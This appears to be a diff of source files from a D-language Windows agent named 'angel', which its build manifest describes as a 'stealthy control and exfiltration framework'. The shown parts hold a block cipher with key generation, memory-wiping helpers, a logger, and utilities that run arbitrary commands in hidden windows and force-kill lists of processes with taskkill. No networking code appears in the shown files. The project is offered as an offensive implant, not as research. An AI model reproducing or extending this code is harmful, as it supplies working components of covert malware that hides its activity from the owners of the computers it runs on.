_mix(x, r[cast(uint) _mod8(round)][i], y);
f[i * 2] = y[0];
f[i * 2 + 1] = y[1];
}
for (i = 0; i < Nw; i++)
{
v[i] = f[p[i]];
}
}
for (i = 0; i < Nw; i++)
{
c[i] = v[i] + subKeys[Ns][i];
}
}
/// Шифрование блока (безопасная версия)
/// plain - массив с данными блока
auto crypt(ulong[8] plainData)
{
ulong[8] c = 0;
crypt(plainData.ptr, c.ptr);
return c;
}
/// Дешифрование блока
/// plain - указатель на блок для дешифрования, c - массив-приемник результата
void decrypt(ulong* plainData, ulong* c) @system
{
ulong[8] f;
ulong[8] e;
ulong[2] y;
ulong[2] x;
ulong[8] v;
uint i;
memcpy(&v[0], plainData, 64);
for (uint round = Nr; round > 0; round--)
{
if (round % 4 == 0)
{
uint s = round >> 2;
for (i = 0; i < Nw; i++)
{
f[i] = v[i] - subKeys[s][i];
}
}
else
{
for (i = 0; i < Nw; i++)
{
f[i] = v[i];
}
}
for (i = 0; i < Nw; i++)
{
e[i] = f[p_1[i]];
}
for (i = 0; i < Nw / 2; i++)
{
y[0] = e[i * 2];
y[1] = e[i * 2 + 1];
_demix(y, r[cast(uint) _mod8(round - 1)][i], x);
v[i * 2] = x[0];
v[i * 2 + 1] = x[1];
}
}
for (i = 0; i < Nw; i++)
{
c[i] = v[i] - subKeys[0][i];
}
}
/// Дешифрование блока (безопасная версия)
/// plain - массив с данными блока
auto decrypt(ulong[8] plain)
{
ulong[8] c = 0;
decrypt(plain.ptr, c.ptr);
return c;
}
/// Подготовка раундовых ключей
/// keyData - указатель на массив с ключом, tweakData - указатель на массив с твик-значением
void setup(ulong* keyData, ulong* tweakData) @system
{
uint i;
ulong[8] K;
ulong[2] T;
ulong[9] key;
// C240 constant
ulong kNw = 0x1BD11BDAA9FC1A22;
memcpy(&K[0], &keyData[0], 64);
memcpy(&T[0], &tweakData[0], 16);
for (i = 0; i < Nw; i++)
{
kNw ^= K[i];
key[i] = K[i];
}
key[8] = kNw;
t[0] = T[0];
t[1] = T[1];
t[2] = T[0] ^ T[1];
for (uint round = 0; round <= Ns; round++)
{
for (i = 0; i < Nw; i++)
{
subKeys[round][i] = key[(round + i) % (Nw + 1)];
if (i == Nw - 3)
{
subKeys[round][i] += t[round % 3];
}
else if (i == Nw - 2)
{
subKeys[round][i] += t[(round + 1) % 3];
}
else if (i == Nw - 1)
{
subKeys[round][i] += round;
}
}
}
}
/// Подготовка раундовых ключей (безопасная версия)
/// keyData - указатель на массив с ключом, tweakData - указатель на массив с твик-значением
void setup(ulong[8] keyData, ulong[2] tweakData)
{
setup(keyData.ptr, tweakData.ptr);
}
public static ulong[8] generateKey()
{
ulong[8] key;
auto rng = Random(unpredictableSeed);
foreach (i; 0 .. 8)
{
key[i] = uniform!ulong(rng);
}
return key;
}
public static ulong[2] generateTweak()
{
ulong[2] tweak;
auto rng = Random(unpredictableSeed);
foreach (i; 0 .. 2)
{
tweak[i] = uniform!ulong(rng);
}
return tweak;
}
}

View File

@@ -0,0 +1,109 @@
module angel.utils.cryptography.utils;
import core.vararg;
import std.traits;
import std.algorithm;
/// TODO: neat variadic implementation of `wipe()`
/// Clears data in memory.
@safe @nogc nothrow
void wipe(T)(ref T t) {
static if(is(typeof(cast (ubyte[]) t))) {
ubyte[] bytes = cast(ubyte[]) t;
bytes[] = 0;
if(!all!"a == 0"(bytes[])) {
// This should not get optimized away.
assert(false, "Wiping failed.");
}
} else static if ( is(typeof( {T a = T.init;} ))) {
t = T.init;
if(t != T.init) {
// This should not get optimized away.
assert(false, "Wiping failed.");
}
} else {
static assert(false, "Type not supported for wiping: " ~ T.stringof);
}
}
@safe @nogc nothrow
void wipe(T...)(ref T ts) {
foreach(ref t; ts) {
wipe(t);
}
}
// test static arrays
unittest {
ubyte[4] buf1 = [1,2,3,4];
uint[4] buf2 = [1,2,3,4];
size_t[4] buf3 = [1,2,3,4];
wipe(buf1);
wipe(buf2);
wipe(buf3);
assert(all!"a == 0"(buf1[]), "Failed to wipe ubyte[].");
assert(all!"a == 0"(buf2[]), "Failed to wipe ubyte[].");
assert(all!"a == 0"(buf3[]), "Failed to wipe ubyte[].");
}
// test dynamic arrays
unittest {
ubyte[] buf1 = [1,2,3,4];
uint[] buf2 = [1,2,3,4];
size_t[] buf3 = [1,2,3,4];
wipe(buf1, buf2, buf3);
assert(all!"a == 0"(buf1), "Failed to wipe ubyte[].");
assert(all!"a == 0"(buf2), "Failed to wipe ubyte[].");
assert(all!"a == 0"(buf3), "Failed to wipe ubyte[].");
}
unittest {
int a = 42;
int b = 84;
ubyte c = 1;
wipe(a, b, c);
assert(a == 0 && b == 0 && c == 0, "Wiping integer failed!");
}
/// Compares a and b in constant time.
///
/// Returns: 0 if a == b, some other value if a != b.
bool crypto_equals(T)(in T[] a, in T[] b) pure nothrow @safe @nogc
in {
assert(a.length == b.length, "Unequal length.");
} body {
T result = 0;
size_t i = 0;
while(i < a.length) {
result |= a[i] ^ b[i];
++i;
}
if(i != a.length) {
// Just to be sure that the compiler optimization does not destroy const time.
assert(false);
}
return result == 0;
}
// test crypto_equals
unittest {
ubyte[32] f = 0;
immutable ubyte[32] zero = 0;
assert(crypto_equals(f[], zero[]));
f[8] = 1;
assert(!crypto_equals(f[], zero[]));
}

View File

@@ -0,0 +1,14 @@
module angel.utils.init;
// Internal imports
import angel.utils.constants;
import angel.utils.logging;
// External imports
import std.stdio;
import std.file;
void init() {
if (!exists(Constants.workdir)) {
mkdir(Constants.workdir);
}
}

View File

@@ -0,0 +1,58 @@
module angel.utils.logging;
// Internal imports
import angel.config : config;
import angel.utils.constants;
// External imports
import std.stdio;
import std.datetime;
import std.file;
import std.format;
import std.string;
enum LogLevel {
Debug,
Event,
Warning,
Error
}
class Logger {
private static string getTimestamp() {
auto now = Clock.currTime();
return format!"%04d-%02d-%02d %02d:%02d:%02d"(
now.year, now.month, now.day,
now.hour, now.minute, now.second
);
}
private static string getLogSymbol(LogLevel level) {
switch (level) {
case LogLevel.Debug: return "[*]";
case LogLevel.Event: return "[i]";
case LogLevel.Warning: return "[!]";
case LogLevel.Error: return "[E]";
default: return "[?]";
}
}
private static void writeToFile(string message) {
auto file = File(Constants.logFilePath, "a");
file.write(message ~ "\n");
file.close();
}
public static void log(LogLevel level, string message) {
auto timestamp = getTimestamp();
auto symbol = getLogSymbol(level);
auto logMessage = timestamp ~ " " ~ symbol ~ " " ~ message;
writeToFile(logMessage);
if (level == LogLevel.Debug && !config.debug_mode) {
return;
} else {
writeln(logMessage);
}
}
}

View File

@@ -0,0 +1,81 @@
module angel.utils.utils;
// Internal imports
import angel.utils.logging;
// External imports
import std.stdio;
import std.process;
import std.format;
import core.thread.osthread;
import core.sys.windows.windows;
import std.conv : to;
import std.range;
import std.array;
import std.string;
import std.random;
class Utils {
public static string generateRandomString(size_t length) {
string characters = "0123456789abcdefghijklmnopqrstuvwxyz";
auto rnd = Random();
auto randomChars = generate(() => characters[uniform(0, characters.length, rnd)]).take(length).array;
return to!string(randomChars);
}
public static void execute(string command) {
STARTUPINFOA si;
PROCESS_INFORMATION pi;
si.cb = STARTUPINFO.sizeof;
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
if (!CreateProcessA(
null,
cast(char*)command.ptr,
null,
null,
false,
0,
null,
null,
&si,
&pi
)) {
Logger.log(LogLevel.Error, format("Failed to create proc: %s", GetLastError()));
return;
}
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
private static void dieproc(string proc_name) {
Logger.log(LogLevel.Debug, format("Attempting to kill proc: %s", proc_name));
string command = format("cmd.exe /C taskkill /F /IM \"%s\"", proc_name);
execute(command);
}
public static void killproc(string[] ulist) {
Logger.log(LogLevel.Debug, format("Attempting to kill procs: %s", ulist));
Thread[] threads;
foreach (proc; ulist) {
auto t = new Thread(() => dieproc(proc));
threads ~= t;
t.start();
continue;
}
foreach (t; threads) {
joinLowLevelThread(t.id);
}
Logger.log(LogLevel.Debug, "All procs killed.");
}
}

View File

5
vv1/agent/dev.txt Normal file
View File

@@ -0,0 +1,5 @@
dub build --arch=x86 --compiler=dmd --vverbose --deep --build=release --force
gdi32, user32
"alwaysStackFrame","betterC","syntaxOnly",

25
vv1/agent/dub.json Normal file
View File

@@ -0,0 +1,25 @@
{
"authors": ["k0"],
"version": "1.0.0",
"copyright": "Copyright © 2024, k0",
"description": "Versatile stealthy control and exfiltration framework",
"license": "MIT",
"name": "angel",
"targetType": "executable",
"targetPath": "bin",
"sourcePaths": ["angel"],
"mainSourceFile": "angel/angel.d",
"libs-windows": ["crypt32"],
"libs-posix": [],
"copyFiles": ["../LICENSE.txt"],
"copyFiles-windows-x86": ["libs/win32/*.dll"],
"extraDependencyFiles": ["libs/crypto/*"],
"buildOptions": [
"noBoundsCheck",
"releaseMode",
"inline",
"optimize",
"warnings",
"lowmem"
]
}